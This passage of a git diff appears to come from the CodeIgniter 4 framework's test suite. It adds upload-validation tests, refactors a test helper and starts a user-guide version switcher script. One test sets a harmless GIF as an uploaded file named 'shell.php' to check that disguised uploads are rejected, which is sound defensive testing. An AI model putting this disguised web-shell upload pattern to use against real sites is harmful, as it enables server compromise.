=> '']], - [true, ['married' => '1', 'partner_name' => 'Foo']], + [true, ['married' => '1', 'partner_name' => 'Foo']], [false, ['married' => '1', 'partner_name' => '']], ]; } diff --git a/tests/system/Validation/StrictRules/FileRulesTest.php b/tests/system/Validation/StrictRules/FileRulesTest.php index 5f848c22db60..f7b5543b6f9f 100644 --- a/tests/system/Validation/StrictRules/FileRulesTest.php +++ b/tests/system/Validation/StrictRules/FileRulesTest.php @@ -316,6 +316,20 @@ public function testExtensionOk(): void $this->assertTrue($this->validation->run([])); } + public function testExtensionOkWithMatchingClientExtensionAndMimeType(): void + { + $payload = $this->createGifPayload(); + + try { + $this->setUploadedAvatar($payload, 'my-avatar.gif'); + + $this->validation->setRules(['avatar' => 'ext_in[avatar,gif]']); + $this->assertTrue($this->validation->run([])); + } finally { + unlink($payload); + } + } + public function testExtensionNotOk(): void { $this->validation->setRules(['avatar' => 'ext_in[avatar,xls,doc,ppt]']); @@ -327,4 +341,72 @@ public function testExtensionImpossible(): void $this->validation->setRules(['avatar' => 'ext_in[unknown,xls,doc,ppt]']); $this->assertFalse($this->validation->run([])); } + + public function testExtensionFailsForMismatchedClientExtension(): void + { + $payload = $this->createGifPayload(); + + try { + $this->setUploadedAvatar($payload, 'shell.php'); + + $this->validation->setRules(['avatar' => 'ext_in[avatar,gif]']); + $this->assertFalse($this->validation->run([])); + } finally { + unlink($payload); + } + } + + public function testExtensionFailsForAllowedButMimeIncompatibleClientExtension(): void + { + $payload = $this->createGifPayload(); + + try { + $this->setUploadedAvatar($payload, 'my-avatar.jpg'); + + $this->validation->setRules(['avatar' => 'ext_in[avatar,jpg,gif]']); + $this->assertFalse($this->validation->run([])); + } finally { + unlink($payload); + } + } + + public function testExtensionFailsForExtensionlessClientFilename(): void + { + $payload = $this->createGifPayload(); + + try { + $this->setUploadedAvatar($payload, 'my-avatar'); + + $this->validation->setRules(['avatar' => 'ext_in[avatar,gif]']); + $this->assertFalse($this->validation->run([])); + } finally { + unlink($payload); + } + } + + private function createGifPayload(): string + { + $payload = tempnam(sys_get_temp_dir(), 'ci4-upload-poc-'); + $this->assertIsString($payload); + + $gif = base64_decode('R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==', true); + $this->assertIsString($gif); + + file_put_contents($payload, $gif); + + return $payload; + } + + private function setUploadedAvatar(string $payload, string $name): void + { + service('superglobals')->setFilesArray([ + 'avatar' => [ + 'tmp_name' => $payload, + 'name' => $name, + 'size' => filesize($payload), + 'type' => 'image/gif', + 'error' => UPLOAD_ERR_OK, + ], + ]); + } } diff --git a/tests/system/Validation/ValidationTest.php b/tests/system/Validation/ValidationTest.php index 830296b75b97..7e0f4411f079 100644 --- a/tests/system/Validation/ValidationTest.php +++ b/tests/system/Validation/ValidationTest.php @@ -901,6 +901,49 @@ public function testJsonInput(): void service('superglobals')->unsetServer('CONTENT_TYPE'); } + /** + * @param array $rules + * @param array $expectedValidated + */ + #[DataProvider('provideGetValidatedWithNullValue')] + public function testGetValidatedWithNullValue( + array $rules, + bool $expectedResult, + array $expectedValidated, + ): void { + $data = [ + 'role' => null, + ]; + + $result = $this->validation->setRules($rules)->run($data); + + $this->assertSame($expectedResult, $result); + $this->assertSame($expectedValidated, $this->validation->getValidated()); + $this->assertSame($expectedResult ? [] : ['role'], array_keys($this->validation->getErrors())); + } + + /** + * @return iterable, + * 1: bool, + * 2: array + * }> + */ + public static function provideGetValidatedWithNullValue(): iterable + { + yield 'permit_empty preserves null' => [ + ['role' => 'permit_empty|string'], + true, + ['role' => null], + ]; + + yield 'string fails on null' => [ + ['role' => 'string'], + false, + [], + ]; + } + public function testJsonInputInvalid(): void { $this->expectException(HTTPException::class); diff --git a/tests/system/View/DBResultDummy.php b/tests/system/View/DBResultDummy.php new file mode 100644 index 000000000000..fb42f41b04b6 --- /dev/null +++ b/tests/system/View/DBResultDummy.php @@ -0,0 +1,45 @@ + + * + * For the full copyright and license information, please view + * the LICENSE file that was distributed with this source code. + */ + +namespace CodeIgniter\View; + +use CodeIgniter\Database\MySQLi\Result; + +// We need this for the _set_from_db_result() test +class DBResultDummy extends Result +{ + public function getFieldNames(): array + { + return [ + 'name', + 'email', + ]; + } + + /** + * @return array> + */ + public function getResultArray(): array + { + return [ + [ + 'name' => 'John Doe', + 'email' => 'john@doe.com', + ], + [ + 'name' => 'Foo Bar', + 'email' => 'foo@bar.com', + ], + ]; + } +} diff --git a/tests/system/View/ParserTest.php b/tests/system/View/ParserTest.php index 5d81e177ee66..fa6784445e8e 100644 --- a/tests/system/View/ParserTest.php +++ b/tests/system/View/ParserTest.php @@ -765,7 +765,7 @@ public function testParseRuns(): void public function testCanAddAndRemovePlugins(): void { - $this->parser->addPlugin('first', static fn ($str) => $str); + $this->parser->addPlugin('first', static fn ($str): array|string => $str); $setParsers = $this->getPrivateProperty($this->parser, 'plugins'); diff --git a/tests/system/View/TableTest.php b/tests/system/View/TableTest.php index 4ce6522fd4af..b7946b059138 100644 --- a/tests/system/View/TableTest.php +++ b/tests/system/View/TableTest.php @@ -13,7 +13,6 @@ namespace CodeIgniter\View; -use CodeIgniter\Database\MySQLi\Result; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\Mock\MockTable; use PHPUnit\Framework\Attributes\DataProvider; @@ -774,7 +773,7 @@ public function testInvalidCallback(): void $this->table->setHeading('Name', 'Color', 'Size'); $this->table->addRow('Fred', 'Blue', 'Small'); - $this->table->function = 'ticklemyfancy'; + $this->table->function = 'ticklemyfancy'; // @phpstan-ignore assign.propertyType (needed for testing) $generated = $this->table->generate(); @@ -888,29 +887,3 @@ public function testGenerateTableWithHeadingContainFieldNamedData(): void $this->assertStringContainsString('codigo32023-10-16 21:53:25PERCENTUAL10', $generated); } } - -// We need this for the _set_from_db_result() test -class DBResultDummy extends Result -{ - public function getFieldNames(): array - { - return [ - 'name', - 'email', - ]; - } - - public function getResultArray(): array - { - return [ - [ - 'name' => 'John Doe', - 'email' => 'john@doe.com', - ], - [ - 'name' => 'Foo Bar', - 'email' => 'foo@bar.com', - ], - ]; - } -} diff --git a/user_guide_src/source/_static/js/version_switcher.js b/user_guide_src/source/_static/js/version_switcher.js new file mode 100644 index 000000000000..a201bb4ddc7a --- /dev/null +++ b/user_guide_src/source/_static/js/version_switcher.js @@ -0,0 +1,119 @@ +/* + * Version switcher for the user guide sidebar. + * + * Injects the sphinx_rtd_theme's native ".switch-menus > .version-switch" + * scaffolding above the search box in the left sidebar, containing a